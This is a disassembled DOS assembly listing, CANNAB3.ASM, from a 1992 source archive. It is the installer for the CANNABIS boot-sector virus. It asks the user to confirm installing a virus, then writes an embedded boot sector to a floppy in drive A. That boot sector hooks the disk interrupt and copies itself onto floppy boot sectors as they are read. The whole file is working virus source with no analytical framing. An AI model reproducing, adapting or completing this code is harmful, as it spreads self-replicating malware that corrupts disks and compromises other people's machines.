home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / CANNAB3.ASM < prev    next >
Assembly Source File  |  1992-09-26  |  7KB  |  281 lines

  1.  
  2. PAGE  59,132
  3.  
  4. ;██████████████████████████████████████████████████████████████████████████
  5. ;██                                         ██
  6. ;██                    CANNAB3                         ██
  7. ;██                                         ██
  8. ;██      Created:   6-Jun-92                             ██
  9. ;██      Passes:    5           Analysis Options on: none             ██
  10. ;██                                         ██
  11. ;██████████████████████████████████████████████████████████████████████████
  12.  
  13. data_3e        equ    43Fh
  14. data_14e    equ    5Ch
  15. data_15e    equ    78h
  16. data_23e    equ    7C0Bh            ;*
  17. data_24e    equ    7C11h            ;*
  18. data_25e    equ    7C13h            ;*
  19. data_26e    equ    7C15h            ;*
  20. data_27e    equ    7C16h            ;*
  21. data_28e    equ    7C18h            ;*
  22. data_29e    equ    7C20h            ;*
  23. data_30e    equ    7C3Eh            ;*
  24. data_31e    equ    7C49h            ;*
  25. data_32e    equ    7C50h            ;*
  26. data_33e    equ    7DAFh            ;*
  27. data_34e    equ    7DB3h            ;*
  28. data_35e    equ    7E0Bh            ;*
  29.  
  30. seg_a        segment    byte public
  31.         assume    cs:seg_a, ds:seg_a
  32.  
  33.  
  34.         org    100h
  35.  
  36. cannab3        proc    far
  37.  
  38. start:
  39.         mov    dx,13Dh
  40.         dec    byte ptr ds:data_14e
  41.         js    loc_3            ; Jump if sign=1
  42.         mov    dx,155h
  43.         call    sub_1
  44.         xor    ah,ah            ; Zero register
  45.         int    16h            ; Keyboard i/o  ah=function 00h
  46.                         ;  get keybd char in al, ah=scan
  47.         and    al,0DFh
  48.         cmp    al,59h            ; 'Y'
  49.         jne    loc_ret_4        ; Jump if not equal
  50.         mov    dl,0
  51.         mov    ah,0
  52.         int    13h            ; Disk  dl=drive a  ah=func 00h
  53.                         ;  reset disk, al=return status
  54.         jc    loc_2            ; Jump if carry Set
  55.         mov    dx,1E6h
  56.         call    sub_1
  57.         mov    cx,1
  58.         mov    bx,offset data_20
  59.         mov    ax,301h
  60.         cwd                ; Word to double word
  61.         int    13h            ; Disk  dl=drive a  ah=func 03h
  62.                         ;  write sectors from mem es:bx
  63.                         ;   al=#,ch=cyl,cl=sectr,dh=head
  64.         jnc    loc_ret_4        ; Jump if carry=0
  65. loc_2:
  66.         mov    dx,offset data_16+0B7h    ; ('')
  67.  
  68. cannab3        endp
  69.  
  70. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  71. ;                   SUBROUTINE
  72. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  73.  
  74. sub_1        proc    near
  75. loc_3:
  76.         mov    ah,9
  77.         int    21h            ; DOS Services  ah=function 09h
  78.                         ;  display char string at ds:dx
  79.  
  80. loc_ret_4:
  81.         retn
  82. sub_1        endp
  83.  
  84. data_16        db    'Usage:  <FILENAME> A:', 0Dh, 0Ah
  85.         db    '$'
  86.         db    'You are about to install a VIRUS'
  87.         db    ' on your diskette!!!', 0Dh, 0Ah, 'I'
  88.         db    'nsert a formatted 360K diskette '
  89.         db    'into the drive.', 0Dh, 0Ah, 'Are'
  90.         db    ' you sure you want to proceed (y'
  91.         db    '/N)? $'
  92.         db    0Dh, 0Ah, 0Ah, 'Writing...$'
  93.         db    0Dh, 0Ah, 'Error !!!'
  94.         db    7
  95. data_19        db    24h
  96. data_20        db    0EBh
  97.         db     3Ch, 90h
  98.         db    'CANNABIS'
  99.         db     00h, 02h, 02h, 01h, 00h, 02h
  100.         db     70h, 00h
  101.         db    0D0h, 02h,0FDh, 02h, 00h, 09h
  102.         db     00h, 02h, 00h
  103.         db    34 dup (0)
  104.         db    0FAh,0FCh, 33h,0C0h, 8Eh,0D8h
  105.         db     8Eh,0D0h,0BCh, 00h, 7Ch,0BBh
  106.         db     58h, 7Dh,0A1h, 4Ch, 00h, 3Bh
  107.         db    0C3h, 74h, 2Dh,0A3h,0AFh, 7Dh
  108.         db    0A1h, 4Eh, 00h,0A3h,0B1h, 7Dh
  109.         db    0BFh, 00h, 04h, 8Bh, 45h, 13h
  110.         db     48h, 89h, 45h, 13h,0B1h, 06h
  111.         db    0D3h,0E0h, 2Dh,0C0h, 07h, 8Eh
  112.         db    0C0h,0B9h, 00h, 02h, 8Bh,0F4h
  113.         db     8Bh,0FCh,0F3h,0A4h, 89h, 1Eh
  114.         db     4Ch, 00h, 8Ch, 06h, 4Eh, 00h
  115.         db     33h,0C0h, 16h, 07h
  116.         db    0BBh, 78h, 00h, 36h,0C5h, 37h
  117.         db     1Eh, 56h, 16h
  118.         db    53h
  119.         db    0BFh, 3Eh, 7Ch,0B9h, 0Bh, 00h
  120.         db    0F3h,0A4h, 06h, 1Fh,0C6h, 45h
  121.         db    0FEh, 0Fh, 8Bh, 0Eh, 18h, 7Ch
  122.         db     88h, 4Dh,0F9h, 89h, 47h, 02h
  123.         db    0C7h, 07h, 3Eh, 7Ch,0FBh,0CDh
  124.         db     13h, 72h, 48h, 33h,0C0h, 8Bh
  125.         db     0Eh, 13h, 7Ch, 89h, 0Eh, 20h
  126.         db     7Ch,0A1h, 16h, 7Ch,0D1h,0E0h
  127.         db     40h,0A3h, 50h, 7Ch,0A3h, 49h
  128.         db     7Ch,0A1h, 11h, 7Ch,0B1h, 04h
  129.         db    0D3h,0E8h, 01h, 06h, 49h, 7Ch
  130.         db    0BBh, 00h, 05h,0A1h, 50h, 7Ch
  131.         db    0E8h, 58h, 00h, 72h, 1Ch, 81h
  132.         db     3Fh, 49h, 4Fh, 75h, 09h, 81h
  133.         db     7Fh, 20h, 4Dh, 53h, 74h, 22h
  134.         db    0EBh
  135.         db    0Dh
  136. loc_7:
  137.         cmp    word ptr [bx],4249h
  138.         jne    loc_8            ; Jump if not equal
  139.         cmp    word ptr [bx+20h],4249h
  140.         je    loc_9            ; Jump if equal
  141. loc_8:
  142.         mov    si,data_34e
  143.         call    sub_3
  144.         xor    ax,ax            ; Zero register
  145.         int    16h            ; Keyboard i/o  ah=function 00h
  146.                         ;  get keybd char in al, ah=scan
  147.         pop    si
  148.         pop    ds
  149.         pop    word ptr [si]
  150.         pop    word ptr [si+2]
  151.         int    19h            ; Bootstrap loader
  152. loc_9:
  153.         mov    bx,700h
  154.         mov    cx,3
  155.         mov    ax,word ptr ds:[7C49h]
  156.  
  157. locloop_10:
  158.         call    sub_2
  159.         jc    loc_8            ; Jump if carry Set
  160.         inc    ax
  161.         add    bx,offset data_19
  162.         loop    locloop_10        ; Loop if cx > 0
  163.  
  164.         mov    ch,byte ptr ds:[7C15h]
  165.         mov    dl,0
  166.         mov    bx,word ptr ds:[7C49h]
  167.         mov    ax,0
  168. ;*        jmp    far ptr loc_1        ;*
  169.         db    0EAh, 00h, 00h, 70h, 00h
  170.  
  171. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  172. ;                   SUBROUTINE
  173. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  174.  
  175. sub_2        proc    near
  176.         push    ax
  177.         push    cx
  178.         div    byte ptr ds:[7C18h]    ; al,ah rem = ax/data
  179.         cwd                ; Word to double word
  180.         inc    ah
  181.         shr    al,1            ; Shift w/zeros fill
  182.         adc    dh,0
  183.         xchg    ah,al
  184.         xchg    ax,cx
  185.         mov    ax,201h
  186.         int    13h            ; Disk  dl=drive ?  ah=func 02h
  187.                         ;  read sectors to memory es:bx
  188.                         ;   al=#,ch=cyl,cl=sectr,dh=head
  189.         pop    cx
  190.         pop    ax
  191.  
  192. loc_ret_11:
  193.         retn
  194. sub_2        endp
  195.  
  196.  
  197. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  198. ;                   SUBROUTINE
  199. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  200.  
  201. sub_3        proc    near
  202. loc_12:
  203.         lodsb                ; String [si] to al
  204.         or    al,al            ; Zero ?
  205.         jz    loc_ret_11        ; Jump if zero
  206.         mov    ah,0Eh
  207.         mov    bx,7
  208.         int    10h            ; Video display   ah=functn 0Eh
  209.                         ;  write char al, teletype mode
  210.         jmp    short loc_12
  211. sub_3        endp
  212.  
  213.         push    ax
  214.         push    ds
  215.         cmp    ah,2
  216.         jne    loc_14            ; Jump if not equal
  217.         test    dx,0FFFEh
  218.         jnz    loc_14            ; Jump if not zero
  219.         or    ch,ch            ; Zero ?
  220.         jnz    loc_14            ; Jump if not zero
  221.         xor    ax,ax            ; Zero register
  222.         mov    ds,ax
  223.         test    byte ptr ds:data_3e,1
  224.         jnz    loc_14            ; Jump if not zero
  225.         push    cx
  226.         push    bx
  227.         push    di
  228.         push    si
  229.         push    es
  230.         mov    ax,201h
  231.         mov    bx,7E00h
  232.         mov    cl,1
  233.         push    cs
  234.         push    cs
  235.         pop    es
  236.         pop    ds
  237.         pushf                ; Push flags
  238.         push    cs
  239.         call    sub_4
  240.         jc    loc_13            ; Jump if carry Set
  241.         mov    si,data_35e
  242.         mov    di,data_23e
  243.         mov    cl,33h            ; '3'
  244.         rep    movsb            ; Rep when cx >0 Mov [si] to es:[di]
  245.         mov    ax,301h
  246.         mov    bx,7C00h
  247.         mov    cl,1
  248.         pushf                ; Push flags
  249.         push    cs
  250.         call    sub_4
  251. loc_13:
  252.         pop    es
  253.         pop    si
  254.         pop    di
  255.         pop    bx
  256.         pop    cx
  257. loc_14:
  258.         pop    ds
  259.         pop    ax
  260.  
  261. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  262. ;                   SUBROUTINE
  263. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  264.  
  265. sub_4        proc    near
  266.         jmp    dword ptr cs:data_33e
  267.         db    0, 0, 0, 0
  268.         db    0Dh, 0Ah, 'Non-System disk or dis'
  269.         db    'k error', 0Dh, 0Ah, 'Replace and'
  270.         db    ' press a key when ready', 0Dh, 0Ah
  271.         db     00h, 00h, 00h, 00h, 00h, 00h
  272.         db     55h,0AAh
  273. sub_4        endp
  274.  
  275.  
  276. seg_a        ends
  277.  
  278.  
  279.  
  280.         end    start
  281.